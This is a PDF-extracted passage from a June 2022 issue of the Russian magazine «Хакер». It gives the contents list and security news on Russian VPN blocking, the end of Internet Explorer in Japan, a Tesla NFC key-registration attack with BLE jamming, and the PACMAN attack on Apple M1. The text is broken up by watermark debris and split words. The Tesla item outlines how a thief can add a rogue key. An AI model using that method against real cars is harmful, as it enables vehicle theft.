Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
170
Добавлен:
20.04.2024
Размер:
15 Мб
Скачать
☆

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

ПОДПИСКА НА «ХАКЕР»

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Мы благодарим всех, кто поддерживает редакцию и помогает нам компенсировать авторам и редакторам их труд. Без вас «Хакер» не мог бы существовать, и каждый новый подписчик делает его чуть лучше.

Напоминаем, что дает годовая подписка:

год доступа ко всем материалам, уже опубликованным на Xakep.ru;

год доступа к новым статьям, которые выходят по будням;

полное отсутствие рекламы на сайте (при условии, что ты залогинишься); возможность скачивать выходящие

каждый месяц номера в PDF, чтобы читать на любом удобном устройстве;

личную скидку 20%, которую можно использовать для продления

годовой подписки. Скидка накапливается с каждым продлением.

Если по каким-то причинам у тебя еще нет подписки или она скоро кончится, спеши исправить это!

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

 

o

 

 

w

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

df

 

n

e

 

Июнь 2022

 

df

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

№ 279

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CONTENTS

 

 

 

 

 

 

 

 

 

 

 

MEGANews

Самые важные события в мире инфосека за июнь

Флуктуация Пишем инжектор

шелл-кода для динамического

шифрования полезной нагрузки в памяти

Denonia

Как работает первый вредонос, нацеленный на AWS Lambda

Oh, Follina!

Изучаем нашумевшую

уязвимость в Microsoft Of ce

Уроки форензики Расследуем киберинцидент MrRobot

Фундаментальные основы хакерства Разбираем самодеятельность компиляторов при трансляции оператора выбора

Фундаментальные основы хакерства Определяем циклы в двоичном коде программы

Полное G Ломаем приложение на языке G, созданное в LabVIEW

HTB Meta

Эксплуатируем уязвимости в обработчиках изображений

HTB Timing

Пентестим веб-сервер на PHP

HTB Paper

Пентестим WordPress

и эксплуатируем баг в Polkit

HTB Ломаем

Phoenix

сайт на WordPress в обход WAF

Неприступный VPS Строим защищенный канал с внешним миром

Неспящий iPhone Как выключенный iPhone может шпионить за своим владельцем

Приходи на сеновал! Как устроен Ceno — мобильный браузер для обхода цензуры

Используй силу, Тукс! Применяем PowerShell в Linux

Roxy-WI

Удобный интерфейс

для HAProxy, Nginx, Apache и Keepalived

Часы для гика 2.0 Проектируем и собираем

настольные бинарные часы с Bluetooth

Время паять! Подбираем инструменты и осваиваем искусство пайки

Титры Кто делает этот журнал

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

Мария «Mifrill» Нефёдова nefedova@glc.ru

В этом месяце: в России­ блокиру­ ют­ , но не запреща­ ют­ использовать­ VPN, инженер­ Google считает­ , что чат бот ком ­ пании обрел сознание­ , исследова­ тель­ показал, как угнать Tesla за 130 секунд, японские­ компании­ с трудом­ пережи ­

вают отказ от Internet Explorer, процес­ сорам­ Apple M1 угро ­

жает проблема­ PACMAN, а также­ другие­ интерес­ ­ные события.

VPN БЛОКИРУЮТ, НО НЕ ЗАПРЕЩАЮТ

В начале июня у россий­ ­ских пользовате­ ­лей возникли­ проблемы­ с NordVPN, Proton VPN и другими­ VPN-сервисами­ . Предста­ ­вите­ли Роскомнад­ ­зора под ­ твердили­ , что в рамках­ закона «о суверенном­ рунете» ведется­ работа по бло ­ кировке­ VPN-сервисов­ , в том числе­ Proton VPN, помогающих­ обходить­ бло ­ кировки­ признанно­ ­го в РФ запрещен­ ­ным контента­ .

После­ жалоб на проблемы­ с подклю­ ­чени­ем на сайте­ Proton VPN появилось­ официаль­ ­ное сообщение­ , в котором операто­ ­ры предположи­ ­ли, что начались блокиров­ ­ки.

«В настоящее­

время­

мы

изучаем­

проблему­

, и она не связана­

 

«с какими либо изменени­

ями­

с нашей

стороны­

. Вероятно­ , местные­

 

интернет провай­ деры­

и власти­ мешают­ работе VPN-соединений­

, и в

 

этом случае­ мы не сможем­

решить эти проблемы­

. Некоторые­

серверы­

 

могут продол­ жать­

работать.

Мы будем продол­ жать­

попытки­ обойти­

»

блокиров­

ку­ . Спасибо­

за ваше терпение­

и понимание­ », — писали пред-­

 

ставите­ ли­ сервиса­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вскоре­ после­ этого­ СМИ сообщили­ , что, согласно­ постам­ пользовате­ лей­

в социаль­ ных­ сетях, похожие проблемы­ наблюда­ ются­ у Lantern и Outline VPN,

а также­ сбоит­ NordVPN. Сервис­ GlobalCheck показывал­ , что сайт nordvpn.com

недоступен­ в сетях «Ростелеко­ ма­ », МТС, «Мегафона­ », Tele2, билайна­ и Yota. Специалис­ ты­ «Роском­ сво­ боды­ » подтвержда­ ли­ , что блокиров­ ки­ действи­ ­

тельно­ имеют­ место­ :

««Почти­ все серверы­ швейцар­ ­ско­го VPN-сервиса­ от создателей­ ProtonMail недоступны­ в России­ у провай­ ­деров с оборудо­ ­вани­ем ТСПУ. Блокиров­ ­ке подверга­ ­ется API-хост api.protonvpn.ch, из за чего

программа­ не может скачать­ список­ серверов­ для подклю­ ­чения, а так-­ же большинс­ ­тво публичных­ серверов­ в бесплат­ ­ной версии­ услуги­ . На момент написания­ этого­ сообщения­ работает­ сервер­ JP-FREE#9.0

0

Фильтра­ ­ция осущест­ ­вля­ется по IP-адресам­ серверов­ , а не по харак-­

терным признакам­ VPN-протоко­ ­лов, хоть и необычно­ : UDP-запросы­ остаются­ без ответа­ , а TCP-соединение­ устанав­ ­лива­ется, но „зависа-­» ет“ после­ первого­ отправленно­ ­го пакета».

Вскоре­ появилось­ и официаль­ ное­ заявление­ от предста­ вите­ лей­ Роскомнад­ ­ зора, которые сообщили­ , что в рамках­ закона «о суверенном­ рунете» в Рос ­ сии ведется­ работа по блокиров­ ке­ VPN-сервисов­ .

««Согласно­ закону „О связи­ “, средства­ обхода­ блокиро­ ­вок противоп­ -­ равного­ контента­ признают­ ­ся угрозой­ . Центр мониторин­ ­га и управле-­

ния сетью связи­ общего­ пользования­ (ЦМУ ССОП) принима­ ­ет меры

по ограниче­ ­нию работы на территории­ России­ VPN-сервисов­ , наруша-­ ющих россий­ ­ское законодатель­ ­ство», — заявили­ в пресс службе­ » ведомства­ .

Интерес­ но­ , что спустя­ около­ двух недель после­ этого­ глава­ Минцифры­ Мак ­ сут Шадаев­ сообщил­ , что власти­ не намерены­ вводить­ наказание­ для тех, кто пользует­ ся­ VPN-сервисами­ , чтобы­ обходить­ блокиров­ ки­ . При этом он отме ­ тил, что использование­ таких приложе­ ний­ все же не приветс­ тву­ ется­ .

««Никаких наказаний­ для пользовате­ ­лей [VPN] категоричес­ ­ки не будет вводить­ ­ся. Мы против­ этого­ . Поэтому­ , кому очень надо, такую воз-­

можность будет иметь, и будет иметь ее дальше­ , и сохранит­ . Но,

конечно­ , политике­ государства­ , когда­ в принципе­ ограничи­ ­вают дос-­ туп к каким то ресурсам­ , это противо­ ­речит. Я считаю­ , это разумный­ » компро­ ­мисс».

Также­ Шадаев­ поделился­ статис­ тикой­ пользователь­ ско­ го­ трафика­ , которую специалис­ ты­ Минцифры­ собирали­ до начала «спецопе­ рации­ » и после­ . По его словам­ , до 24 февраля­ суммарно­ на три заблокиро­ ван­ ные­ теперь социаль­ ­ ные сети — Facebook, Instagram (принад­ лежат­ корпорации­ Meta, которая признана­ экстре­ мист­ ской­ и запрещена­ в РФ) и Twitter — приходи­ лось­ 10– 12% от всего­ трафика­ . Однако­ после­ 24 февраля­ и блокиров­ ки­ на долю сер ­ висов VPN, которые помогали­ обойти­ ограниче­ ния­ , стало­ приходить­ ся­ лишь 20% от прежнего­ трафика­ трех соцсетей­ .

««То есть 80% просто­ ... неудобно­ переключать­ ­ся, включать­ , выключать­ [VPN], — пояснил­ Шадаев­ . — Потом, многие­ сайты­ , россий­ ­ские, ата-­ кованные­ из за рубежа, дают доступ­ только­ по россий­ ­ско­му IP. И в

этом смысле­ , даже если вы сидите под VPN, хотите зайти­ на россий­ -­ ский сайт, вам говорят, что он недоступен­ . Вам надо VPN выключить­ , » зайти­ на сайт, потом включить­ ».

26 000 000 ЗАПРОСОВ В СЕКУНДУ

Специалис­ ­там Cloudfare удалось­ отразить­ новую рекордную­ DDoS-атаку­ , в которой участво­ ­вал

небольшой­ , но мощный­ ботнет­ , состоящий­ из 5067 устройств­ . По информации­ Cloudfare, пиковая мощность­ атаки­ составила­ 26 миллионов­ запросов­ в секунду­ (request-per-second, RPS) и она была нацелена­ на одного­ из клиентов­ компании­ , использующих­ бесплат­ ­ный тариф ­ ный план.

Суммарно­ в атаке­ были задейство­ ваны­ 5067 устройств­ , каждое­ из которых могло­ генерировать­ пример­ но­ 5200 запросов­ в секунду­ . Интерес­ но­ , что этот небольшой­ ботнет­ , использовав­ ший­ виртуаль­ ные­ машины и серверы­ , оказал­ ся­ в 4000 раз мощнее­ куда более крупных­ ботнетов­ .

ЯПОНЦАМ СЛОЖНО БЕЗ IE

15 июня 2022 года Microsoft окончатель­ ­но «похоронила­ » Internet Explorer,

отказав­ ­шись от использования­ устарев­ ­шего браузе­ ­ра. Невзирая­ на то что к этому­ шагу в компании­ готовились­ давно­ и предуп­ ­режда­ли пользовате­ ­лей, прекращение­ поддер­ ­жки IE спровоци­ ­рова­ло настоящий­ хаос в Японии­ , где IE по прежнему­ был в ходу у многих­ компаний­ и госструк­ ­тур.

Нужно­ сказать­ , что разработ­ чики­ Microsoft давно­ реализуют­ постепен­ ный­ отказ от поддер­ жки­ Internet Explorer, чья доля рынка­ составля­ ет­ около­ 5%, и старают­ ся­ перевести­ пользовате­ лей­ на браузер­ Edge. К примеру­ , еще в 2020 году Microsoft включила­ принуди­ ­тель­ное перенаправле­ ­ние IE-to- Edge для всех пользовате­ ­лей.

С этого­ момента­ более 1000 различных­ сайтов­ вообще­ перестали­ откры ­ ваться­ в IE, и в их число­ вошли­ Twitter, Facebook и Instagram (заблокиро­ ваны­

в России­ , принад­ лежат­ компании­ Meta, признанной­ экстре­ мист­ ской­ орга ­

низацией­ , запрещен­ ­ной на территории­ РФ), VK, Google Drive, Microsoft Teams, ESPN, Stack Overfow, Yahoo Mail. Посетители­ таких ресурсов­ автомати­ ­чес­ки перенаправля­ ­лись в Edge.

15 июня 2022 года, как и планиро­ валось­ , Internet Explorer 11 был лик ­ видирован­ в клиент­ ских­ сборках­ Windows 10 20H2 и более поздних­ , а также­

в Windows IoT 20H2 и более поздних­ . В Windows 11 устарев­ ­ший браузер­ вооб ­ ще отсутству­ ­ет, так как в новой версии­ ОС браузе­ ­ром по умолчанию­ является­

Edge.

Теперь­ десктоп­ ­ная версия­ IE будет перенаправлять­ пользовате­ ­лей в Edge в течение несколь­ ­ких месяцев, а потом от браузе­ ­ра избавят­ ­ся окончатель­ ­но.

При этом есть продук­ ты­ , на которые ликвидация­ IE не распростра­ няет­ ся­ :

режим IE Mode в Edge, десктоп­ ­ный IE 11 в Windows 8.1 и Windows 7 (Extended Security Updates), Windows Server LTSC (все версии­ ), Windows Server 2022,

клиент­

Windows 10 LTSC (все версии­ ), Windows 10 IoT LTSC (все версии­ ).

При этом режим IE в Microsoft Edge будет поддержи­

вать­ ся­ по меньшей­

мере

до 2029 года, что даст разработ­

чикам­

долгих­ восемь лет на модернизацию­

устарев­

ших­

приложе­

ний­ .

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хотя­

подготов­

ка­ к 15 июня велась уже давно­ , издание­ Nikkei сообщило­

, что

«смерть» IE стала­ неприят­

ным­

сюрпри­ зом­

для множес­ тва­ японских­

компаний­

,

спровоци­

ровав­

настоящий­

хаос.

 

 

 

 

 

 

 

 

 

 

 

По данным­

журналис­

тов­ , начиная с апреля­ текущего­ года, токийско­ го­ раз ­

работчика­

ПО Computer Engineering & Consulting заваливали­

просьбами­

о помощи.

Проблема­

заключа­

ется­

в том, что клиенты­

, а это в основном

государствен­ ные­ учреждения­ , финансовые­ учреждения­ , а также­ производс­ ­ твенные­ и логистичес­ кие­ компании­ , управляли­ сайтами­ , совмести­ мыми­ толь ­

ко с Internet Explorer.

««Они знали­ [о поэтапном­ отказе­ ] давно­ , но, видимо, откладыва­ ­ли при-­» нятие мер», — расска­ ­зыва­ет предста­ ­витель компании­ .

Опохожих проблемах­ свидетель­ ­ство­вал и мартов­ ­ский опрос, проведен­ ­ный ИТ компани­ ­ей Keyman’s Net, который показал, что множес­ ­тво организа­ ­ций в Японии­ до сих пор используют­ Internet Explorer. При этом 49% респонден­ ­тов

заявили­ , что браузер­

им нужен для работы.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

По словам­

 

опрошен­ ных­ ,

браузер­

, в частнос­

ти­ , использовал­

ся­

для управления­

посещаемостью­

сотрудни­

ков­ , расчета­

расходов­

и ряда дру ­

гих внутренних­

 

инстру­ мен­ тов­ .

В некоторых­

случаях­

 

у компаний­

 

просто­

не было другого­

выбора, посколь­

ку­ на IE оказались­

завязаны­ системы­

кли ­

ентов, необходимые­

для обработ­ ки­ заказов.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хуже­ того, более 20% респонден­

тов­

признали­

, что они вообще­ не знали­

или не поняли, как перейти­ на другие­ браузе­ ры­ после­ прекращения­

поддер­ ­

жки Internet Explorer.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СМИ писали, что особен­ но­ медленно­

на отказ от IE реагирова­

ли­ японские­

госорганы­

. К примеру­

, сайт, на котором размеща­

ется­

 

информация­

о гос ­

закупках­ и торгах­ , только­ после­ 15 июня стал рекомендовать­

пользовате­

лям­

не Internet Explorer, а браузе­ ­ры Microsoft Edge и Google Chrome. Для работы с сайтом­ пенсион­ ­ной службы­ Японии­ и онлайн заявлени­ ­ями до сих пор нужно­ просматри­ ­вать сайт в IE-режиме в Edge. А на многих­ других­ государствен­ ­ных ресурсах­ Internet Explorer по прежнему­ указан­ в качестве­ единствен­ ­ного рекомендуемо­ ­го браузе­ ­ра.

««Японцы­ любят безопасность­ . Чем крупнее­ организа­ ­ция или пра-­ вительствен­ ­ное учреждение­ , тем дольше­ они колеблются­ [перед при-­

нятием­ решения], — комменти­ ­ровал Тецутаро­ Уэхара­ , профес­ ­сор Ази-­ атско Тихоокеан­ ­ско­го универ­ ­ситета Рицумэйкан­ . — Самая большая­

проблема­ заключа­ ­ется в том, что, когда­ речь идет о правитель­ ­ствен-­ ных сайтах­ , существу­ ­ет очень ограничен­ ­ное количество­ поставщи­ ­ков, » которые могут вводить­ в работу столь большие­ системы­ ».

APPLE ОПУБЛИКОВАЛА СТАТИСТИКУ БАНОВ

Компания­

Apple опубликова­

ла­ ежегод­ ный­

отчет о работе команд экспертов­

App Review

и Discovery Fraud, которые отвечают­

за анализ­ приложе­

ний­ , попадающих­

(или не попадающих­

)

в App Store, а также­ борьбу­ с мошенниками­

.

 

 

 

 

 

Инженеры­ компании­ говорят, что за год они защитили­ пользовате­ лей­ от 1 600 000 опасных­ и ненадежных­ приложе­ ний­ и обновлений­ .

УГНАТЬ TESLA ЗА 130 СЕКУНД

Австрий­ ­ский исследова­ ­тель Мартин­ Херфурт­ (Martin Herfurt) продемонс­ ­три ­ ровал новый способ­ угона­ Tesla. Оказалось­ , для этого­ можно­ злоупот­ ­ребить функци­ ­ей добавления­ новой NFC-ключ карты­ и проделать­ это незаметно­ для владель­ ­ца авто, всего­ за 130 секунд.

Корень­ проблемы­ заключа­ ­ется в том, что в прошлом­ году Tesla выпустила­ обновление­ , которое упростило­ запуск автомоби­ ­лей после­ разбло­ ­киров­ки NFC-ключ картами­ . Раньше­ водители­ , которые использовали­ ключ карту­ для разбло­ ­киров­ки своих­ авто, должны­ были поместить­ ее на централь­ ­ную консоль­ , чтобы­ начать движение­ . Но после­ обновления­ , вышедшего­ в августе прошлого­ года, владель­ ­цы Tesla получили­ возможность­ управлять своими­ автомоби­ ­лями сразу­ после­ разбло­ ­киров­ки с помощью ключ карты­ , которая является­ одним из трех основных способов­ разбло­ ­киров­ки авто (два других­ способа­ — это брелок­ и мобильное­ приложе­ ­ние).

Херфурт­ обнаружил­ , что у новой функции­ есть странная­ особен­ ность­ : она не только­ позволя­ ет­ автомоби­ лю­ автомати­ чес­ ки­ заводиться­ в течение 130 секунд после­ разбло­ киров­ ки­ , но и переводит­ его в состояние­ , позволя­ ющее­ принимать­ новые ключи­ , без необходимос­ ти­ аутентифика­ ции­

ибез какой либо индикации­ на дисплее­ авто.

««Tesla ввела­ этот таймер­ , чтобы­ сделать­ использование­ NFC-карт более удобным­ . То есть автомобиль­ должен­ заводиться­ и ехать

без повторно­ ­го использования­ ключ карты­ пользовате­ ­лем. Но есть проблема­ : в течение 130-секундно­ ­го периода­ разреша­ ­ется не только­ вождение­ автомоби­ ­ля, но и [регистра­ ­ция] нового ключа­ », — объясня­ ­ет » эксперт.

Конеч­ но­ , официаль­ ное­ приложе­ ние­ Tesla не позволя­ ет­ регистри­ ровать­ новые ключи­ , если оно не подклю­ чено­ к учетной­ записи владель­ ца­ , однако­ Херфурт­ обнаружил­ , что автомобиль­ охотно­ обменива­ ется­ сообщени­ ями­ с любым другим­ устройством­ Bluetooth Low Energy (BLE), находящим­ ся­ поблизос­ ти­ . В итоге­ эксперт создал­ собствен­ ное­ приложе­ ние­ под названи­ ем­ Teslakee, которое использует­ VCSec, как и официаль­ ное­ приложе­ ние­ Tesla.

Teslakee демонстри­ рует­ , с какой легкостью­ воры могут добавить авто ­ мобилю­ собствен­ ный­ ключ. Нужно­ просто­ находиться­ неподалеку­ от авто во время­ 130-секундно­ го­ окна после­ разбло­ киров­ ки­ NFC-ключ картой­ . После­ этого­ вор может использовать­ свой ключ, чтобы­ открыть, завести­ и заглушить­ автомобиль­ в любое время­ . Ни на дисплее­ авто, ни в настоящем­ приложе­ нии­ Tesla при этом не будет отображать­ ся­ никаких сообщений­ о случив­ шемся­ .

Если­ же владелец­ транспортно­ ­го средства­ использует­ для разбло­ ­киров­ки авто приложе­ ­ние (а это самый распростра­ ­нен­ный метод разбло­ ­киров­ки Tesla), злоумыш­ ­ленник может вынудить жертву­ использовать­ ключ карту­ . Для этого­ достаточ­ ­но принес­ ­ти с собой глушил­ ­ку и заблокиро­ ­вать частоту­ BLE, необходимую­ для работы приложе­ ­ния.

Херфурт­ успешно испробовал­ свою атаку­ на Tesla Model 3 и Y. Он не про ­ верял данный­ метод на новых Model S и X, но предполага­ ет­ , что они тоже уяз вимы, так как используют­ те же технологии­ .

Нужно­ отметить­ , что Херфурт­ создал­ Teslakee и провел­ свое исследова­ ­ние в рамках­ Project Tempa, который «предос­ ­тавля­ет инстру­ ­мен­ты и информацию­

о протоко­ ле­ VCSec, используемом­ аксессуара­ ми­ и приложе­ нием­ Tesla для управления­ транспортны­ ми­ средства­ ми­ через Bluetooth LE». Также­ Хер ­ фурт является­ членом­ Trifnite Group, исследова­ тель­ ско­ го­ и хакерско­ го­ кол ­ лектива­ , занимающе­ гося­ проблемами­ BLE.

Иссле­ ­дова­тель обнародо­ ­вал данные­ о проблеме­ , так как, по его словам­ , Tesla вряд ли ее исправит­ . Херфурт­ пишет, что он так и не получил от ком ­ пании никаких ответов­ по поводу других­ уязвимос­ ­тей, которые обнаружил­

в2019 и 2021 годах, и сомнева­ ­ется, что теперь что то изменит­ ­ся.

««У меня сложилось­ впечат­ ­ление, что они уже обо всем знали­ и не хотели что либо менять, — говорит Херфурт­ . — На этот раз Tesla [тоже] не может не знать об этой скверной­ имплемен­ ­тации. Поэтому­ я » просто­ не вижу смысла­ связывать­ ­ся с Tesla заранее».

МОШЕННИЧЕСКИЕ КОЛ-ЦЕНТРЫ В КОЛОНИЯХ ЗАКРЫТЫ

В кулуарах­ конферен­ ­ции «Цифровая­ индустрия­ промыш­ ­ленной России­ » заместитель­ правления­ «Сбербанка­ » Станис­ лав­ Кузнецов­ расска­ зал­ журналис­ там­ , что проблема­ с мошенничес­ кими­ кол центра­ ­ми в россий­ ­ских колониях­ на сегодня­ решена. По его словам­ , еще три четыре года назад с территории­ колоний работало­ «очень большое­ количество­ кол центров­ », но теперь все изменилось­ .

→ «Наши эксперты­ в свое время­ вскрыли­ проблему­ , что очень большое­ количество­ кол центров­ работало­ с территории­ россий­ ­ских колоний. В свое время­ мы давали статис­ ­тику (это статис­ ­тика трех четырехлетней­ давности­ ), что около­ 40% — это с территории­ Украины­ , около­ 40% — с территории­ колоний, тюрем, около­ 20% — с территории­ других­ точек, сопредель­ ­ных стран или с тер ­ ритории России­ .

Сейчас­ мы видим только­ единич­ ­ные какие то факты­ , когда­ на наших сис ­ темах мониторин­ ­га мы видим трансакции­ , которые проходят­ как мошенничес­ ­кие из тюрем либо из колоний. Мы считаем­ , что проблема­ кол центров­ в россий­ ­ских колониях­ решена, и решена прежде­ всего­ руководством­ ФСИН»,

— заявил Кузнецов­ .

Продолжение статьи0 →

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-x

 

n

e

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

← 0Начало статьи

PACMAN ПРОТИВ APPLE M1

Специалис­ ­ты Массачусет­ ­ско­го технологи­ ­чес­кого института­ обнаружи­ ­ли, что чипы Apple M1 уязвимы­ перед спекуля­ ­тив­ной атакой­ PACMAN. Эта проблема­ носит аппарат­ ­ный характер­ и связана­ с аутентифика­ ­цией указате­ ­ля (pointer authentication), позволяя­ злоумыш­ ­ленни­ку выполнить­ произволь­ ­ный код на уязвимом­ устройстве­ .

Pointer authentication — защитная­ функция­ , добавляющая­ к указате­ ­лям криптогра­ ­фичес­кую подпись­ , называемую­ pointer authentication code (PAC).

Благода­ ря­ ей операци­ онная­ система­ обнаружи­ вает­ и блокиру­ ет­ неожидан­ ­ ные изменения­ , которые в против­ ном­ случае­ могли­ бы привес­ ти­ к утечке­ дан ­ ных или компро­ мета­ ции­ . Атака­ PACMAN позволя­ ет­ удален­ но­ обойти­ аутен ­ тификацию­ указате­ ля­ в ядре из userspace, по сути давая атакующе­ му­ полный­ контроль­ над чужой машиной.

Для реализации­ атаки­ злоумыш­ ­ленни­кам сначала­ понадобит­ ­ся найти­ баг

впамяти, связан­ ­ный с ПО на устройстве­ жертвы­ . Необходимо­ , чтобы­ эта ошибка­ была заблокиро­ ­вана PAC, то есть имела­ возможность­ перерасти­

вболее серьезную­ проблему­ .

««PACMAN использует­ существу­ ­ющие програм­ ­мные ошибки­ (чтение­ / запись памяти) и превраща­ ­ет их в более серьезный­ примитив­ эксплу­ -­

атации­

(обход

pointer

 

authentication),

который может привес­ ти­

 

к выполнению­

произволь­

ного­

кода. Чтобы­ проделать­

это, нам нужно­

 

узнать значение­

PAC для конкрет­ ного­

указате­ ля­ жертвы­ , — расска­ -­

 

зывают­ эксперты­ . — PACMAN добивается­

этого­ с помощью того, что

 

мы называем­ PAC Oracle. Это способ­ ность­

определять­

, соответс­ тву­ ет­

 

ли данный­

PAC конкрет­ ному­

указате­ лю­ . PAC Oracle не должен­

сбоить­

»

даже в случае­ неверных­ предположе­

ний­ , и с его помощью мы брут-­

 

форсим все возможные­

значения­

PAC».

 

 

 

 

 

 

 

